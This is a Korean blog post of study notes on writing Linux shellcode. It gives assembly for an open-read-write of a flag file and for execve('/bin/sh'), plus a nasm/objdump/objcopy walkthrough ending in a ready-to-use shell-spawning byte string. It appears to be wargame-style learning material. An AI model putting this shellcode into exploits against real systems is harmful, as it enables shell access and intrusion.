shellcode

shellcode

2024년 6월 6일

쉘코드 #

rax(시스템콜 넘버), rdi, rsi, rdx, … 에 인자를 세팅하고 syscall 명령으로 시스템콜을 호출해서 원하는 작업을 수행하는 바이트 코드이다. 쉘코드가 공유되는 사이트: https://shell-storm.org/shellcode/index.html

open-read-write #

시스템의 flag 값을 읽어올 때 사용되는 함수들의 모음이다. 파일을 버퍼로 읽어오고 stdout으로 출력해준다. 인자의 순서에 맞게 rdi, rsi, rdx 등을 적고 syscall을 호출하면된다.

1char buf[0x30];
2
3int fd = open("/tmp/flag", RD_ONLY, NULL);
4read(fd, buf, 0x30); 
5write(1, buf, 0x30);

쉘코드만으로는 실행파일을 만들 수 없기 때문에 asm 인자로 문자열을 넣어(명령어는 \n으로 구분된다) 쉘코드를 작성하고 run_sh 라는 이름을 붙여준 뒤 main에서 호출하게 하면서 쉘코드의 동작을 확인할 수 있다.
컴파일 할땐 쉘코드의 타입을 알려줘야 한다.(intel)

 1// File name: orw.c
 2// Compile: gcc -o orw orw.c -masm=intel
 3
 4__asm__(
 5    ".global run_sh\n"
 6    "run_sh:\n"
 7
 8    "push 0x67\n"
 9    "mov rax, 0x616c662f706d742f \n"
10    "push rax\n"
11    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
12    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
13    "xor rdx, rdx    # rdx = 0\n"
14    "mov rax, 2      # rax = 2 ; syscall_open\n"
15    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
16    "\n"
17    "mov rdi, rax      # rdi = fd\n"
18    "mov rsi, rsp\n"
19    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
20    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
21    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
22    "syscall           # read(fd, buf, 0x30)\n"
23    "\n"
24    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
25    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
26    "syscall           # write(fd, buf, 0x30)\n"
27    "\n"
28    "xor rdi, rdi      # rdi = 0\n"
29    "mov rax, 0x3c	   # rax = sys_exit\n"
30    "syscall		   # exit(0)");
31
32void run_sh();
33
34int main() { run_sh(); }

execve #

이 시스템콜을 이용하면 쉘을 획득할 수 있다.

 1// File name: execve.c
 2// Compile Option: gcc -o execve execve.c -masm=intel
 3
 4__asm__(
 5    ".global run_sh\n"
 6    "run_sh:\n"
 7
 8    "mov rax, 0x68732f6e69622f\n"
 9    "push rax\n"
10    "mov rdi, rsp  # rdi = '/bin/sh'\n"
11    "xor rsi, rsi  # rsi = NULL\n"
12    "xor rdx, rdx  # rdx = NULL\n"
13    "mov rax, 0x3b # rax = sys_execve\n"
14    "syscall       # execve('/bin/sh', null, null)\n"
15
16    "xor rdi, rdi   # rdi = 0\n"
17    "mov rax, 0x3c	# rax = sys_exit\n"
18    "syscall        # exit(0)");
19
20void run_sh();
21
22int main() { run_sh(); }

쉘코드 만들기 #

실제로 쉘코드를 공격에 사용하기 위해서는 위에서 사용하는 방법으로 테스트할 수 있고, 정상 동작이 확인되면, 바이트화해서 다른 공격과 함께 사용한다.

  1. 쉘코드 작성
 1; File name: shellcode.asm
 2section .text
 3global _start
 4_start:
 5xor    eax, eax
 6push   eax
 7push   0x68732f2f
 8push   0x6e69622f
 9mov    ebx, esp
10xor    ecx, ecx
11xor    edx, edx
12mov    al, 0xb
13int    0x80
  1. 쉘코드 확인
    nsam으로 elf 파일로 어셈블 후 명령어를 덤프해서 주소값이 0부터 구작성되어 있는지 확인
 1$ sudo apt-get install nasm 
 2$ nasm -f elf shellcode.asm
 3$ objdump -d shellcode.o
 4shellcode.o:     file format elf32-i386
 5Disassembly of section .text:
 600000000 <_start>:
 7   0:	31 c0                	xor    %eax,%eax
 8   2:	50                   	push   %eax
 9   3:	68 2f 2f 73 68       	push   $0x68732f2f
10   8:	68 2f 62 69 6e       	push   $0x6e69622f
11   d:	89 e3                	mov    %esp,%ebx
12   f:	31 c9                	xor    %ecx,%ecx
13  11:	31 d2                	xor    %edx,%edx
14  13:	b0 0b                	mov    $0xb,%al
15  15:	cd 80                	int    $0x80
  1. 바이트 코드로 변경
1$ objcopy --dump-section .text=shellcode.bin shellcode.o
2$ xxd shellcode.bin
300000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
400000010: c931 d2b0 0bcd 80                        .1.....
5
6# execve /bin/sh shellcode:
7$ xxd -p shellcode.bin
8"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
comments powered by Disqus